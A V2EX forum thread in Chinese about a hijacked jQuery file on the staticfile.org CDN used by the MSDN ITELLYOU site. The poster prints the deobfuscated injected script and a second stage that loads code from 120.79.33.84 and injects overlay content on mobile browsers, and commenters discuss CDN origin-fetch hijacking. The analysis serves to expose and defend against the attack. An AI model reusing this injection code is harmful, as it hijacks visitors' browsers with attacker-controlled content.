MSDN ITELLYOU 网站被劫持挂马?

2018-12-24 09:47:20 +08:00
 BOYPT

今天发现内容菜单无法打开,打开 F12 发现 jQuery 对象报错,看了下 Network 发现 jquery 文件内容变成可疑内容:

https://cdn.staticfile.org/jquery/1.10.2/jquery.min.js

终端内把可疑代码的 eval 换成 console.log ,排版看到内容如下

var c = function(u) {
        var d = document,
            e = d.createElement('script');
        e.type = 'text/javascript';
        e.src = u;
        d.getElementsByTagName('head')[0].appendChild(e);
    },
    s = 'http://cdn.staticfile.org/jquery/1.10.2/jquery.min.js?cclt1=ncache2';
if ((typeof M7f == 'undefined') && (!navigator.platform.match(/Win32|Win64/i))) c('http://120.79.33.84:1616/mb.php?id=lp01');
if ((typeof M7f == 'undefined') || (M7f != s)) {
    M7f = s;
    c(s + Math.random());
}

看到挂马脚本还会插回一个内容正常的 jQuery 外,对于非 win 平台还加载一次 120.79.33.84:1616,请求一下看看:

!(function() {
    if (typeof MB7F2 == 'undefined') {
        MB7F2 = 1;
        var head = document.getElementsByTagName('head')[0];
        var script = document.createElement('script');
        script.type = 'text/javascript';
        script.onload = script.onreadystatechange = function() {
            if (!this.readyState || this.readyState === "loaded" || this.readyState === "complete") {
                var isMobile = {
                    Win: function() {
                        return navigator.platform.match(/Win32|Win64|Mac/i) ? true : false
                    },
                    Qqb: function() {
                        return navigator.userAgent.match(/QQ/i) ? true : false
                    },
                    Phone: function() {
                        return navigator.userAgent.match(/Android|Adr|iPhone|iPh|iPh5|iOS|iPad|ipad|iPod/i) ? true : false
                    }
                };
                var bz = 0;
                if (isMobile.Win() || isMobile.Qqb()) {
                    bz = 0
                } else if (isMobile.Phone()) {
                    var slt = Math.floor(Math.random() * 1000000) + 1000;
                    bz = 1;
                    var nd = document.createElement("div");
                    nd.id = slt;
                    nd.style.position = "fixed";
                    nd.style.zIndex = "9999";
                    nd.style.width = "100%";
                    nd.style.height = "auto";
                    nd.style.bottom = "-6px";
                    nd.style.right = "0px";
                    document.body.insertBefore(nd, document.body.firstChild);
                    var slt = '#' + slt
                }
                var tu = "http://120.79.33.84:1616/mb1.php?id=lp01";
                var setcookies = function() {
                    var exp = new Date();
                    var value = exp.getTime();
                    exp.setTime(exp.getTime() + 3000 * 1000);
                    document.cookie = "mblast=" + escape(value) + ";expires=" + exp.toGMTString()
                };
                var getCookie = function(d) {
                    var f = document.cookie;
                    var g = f.split("; ");
                    for (var e = 0; e < g.length; e++) {
                        var c = g[e].split("=");
                        if (c[0] == d) {
                            return c[1]
                        }
                    }
                    return 0
                };
                var mbbt = new Date();
                mbbt = (mbbt.getTime() - getCookie("mblast")) / 1000;
                if ((bz != 0) && (mbbt > 81)) {
                    $(document).ready(function() {
                        $.ajax({
                            type: 'get',
                            url: tu + "&new=" + Math.random() + "&mblast=" + mbbt,
                            dataType: 'jsonp',
                            jsonp: "jsoncallback",
                            success: function(data) {
                                $(slt).html(data);
                                setcookies()
                            },
                            error: function() {}
                        })
                    })
                }
            }
        };
        script.src = 'http://cdn.staticfile.org/jquery/1.7/jquery.min.js?cclt1=ncache2';
        head.appendChild(script)
    }
})();

因为 https 访问的,这些 http 地址实际都被挡了,jQuery 无法加载所以网站功能有问题的。 staticfile.org 是七牛云的静态 CDN,而入口文件的 jquery.min.js 也是 https 的,而且挂马代码里面也针对性地重新引用 staticfile.org 文件。

因此怀疑是七牛 CDN 内部人员私自加料,或者 CDN 回源过程中被第三方定向劫持。

6587 次点击
所在节点    全球工单系统
36 条回复
Nitroethane
2018-12-24 09:51:01 +08:00
没有遇到所说的问题,能正常打开。是不是你被运营商劫持了?
BOYPT
2018-12-24 09:52:58 +08:00
@Nitroethane #1 看分析文字
Les1ie
2018-12-24 09:54:09 +08:00
刚好昨晚看到知乎看到一篇文章 zhihu.com/question/35720092/answer/523563873
Les1ie
2018-12-24 09:54:54 +08:00
另外我这里没有遇到问题
BOYPT
2018-12-24 09:55:00 +08:00
可以排除营运商劫持,因为如图所示。

Nitroethane
2018-12-24 09:58:12 +08:00
@BOYPT #2 我看了,点击内容菜单能正常打开,console 什么报错都没有。唯一的两条报错信息是广告屏蔽插件屏蔽的两条广告请求。不要老想着搞个大新闻
BOYPT
2018-12-24 09:59:44 +08:00
@Nitroethane #6 好吧

CDN 也是分地区性的,现在想来应该是七牛云的祸,不是 itellyou 站问题。
jptx
2018-12-24 10:01:31 +08:00
我这边也是正常的
wly19960911
2018-12-24 10:13:17 +08:00
@Les1ie #3 居然还有回源的时候被劫持,长见识了,果然 https 还不是完全值得信任。
Les1ie
2018-12-24 10:17:48 +08:00
即使我们做到了全链路 https, 但是云服务厂商自己的服务器之间没做到, 这也是个问题

另外知乎那篇文章似乎也没法石锤是回源的时候遇到了问题,如果是回源遇到了劫持,那么影响的应该是这个网站下面使用了这个 cdn 的很多客户呀,影响面积会不会更大

@wly19960911 #9
maplelin
2018-12-24 10:19:25 +08:00
坐标深圳,已复现问题,菜单无法正常打开
LanFomalhaut
2018-12-24 10:25:32 +08:00
@Les1ie
当年就遇到过一次....节点回源时候被劫持 缓存了被劫持篡改的广告 JS .然后这个站只要访问到这个节点就会 100%跳广告..属于大范围影响的
liberize
2018-12-24 10:27:25 +08:00
广州也复现了
BOYPT
2018-12-24 10:28:24 +08:00
@Les1ie #10 如果是 cloudflare 的 CDN 就有回源模式,可以选择 full ssl,应该就能避免这类问题;而一众国产 CDN (有些甚至没有控制台)只能烧香了...

itellyou 站我个人建议更换静态库的 CDN,用 cdnjs 的应该就比较合适,cloudflare 在国内跟百度云合作,速度和技术上应该有点保证
BOYPT
2018-12-24 10:29:50 +08:00
楼主也是广州,目前能复现的是广州深圳,而七牛有专门的华南区区域划分,估计影响的就是华南区服务器
v2meng
2018-12-24 10:44:07 +08:00
广州长城宽带复现
miyuki
2018-12-24 10:57:05 +08:00
如果你也在用 jsdelivr,那么请小心,他的节点会投毒。
https://www.v2ex.com/t/403110

我记得还有个主题说百度的 js,也被回源劫持了,找不到了。
Variazioni
2018-12-24 10:58:30 +08:00
北京电信正常。。
Les1ie
2018-12-24 11:12:01 +08:00
cloudflare 国内默认不会走百度吧... 国内使用 cloudflare 是 cdn 云减速
Mac
2018-12-24 12:20:06 +08:00
cdn.staticfile.org 经常会被劫持或者挂马。

我也遇到过。

https://www.v2ex.com/t/471432

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/520339

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX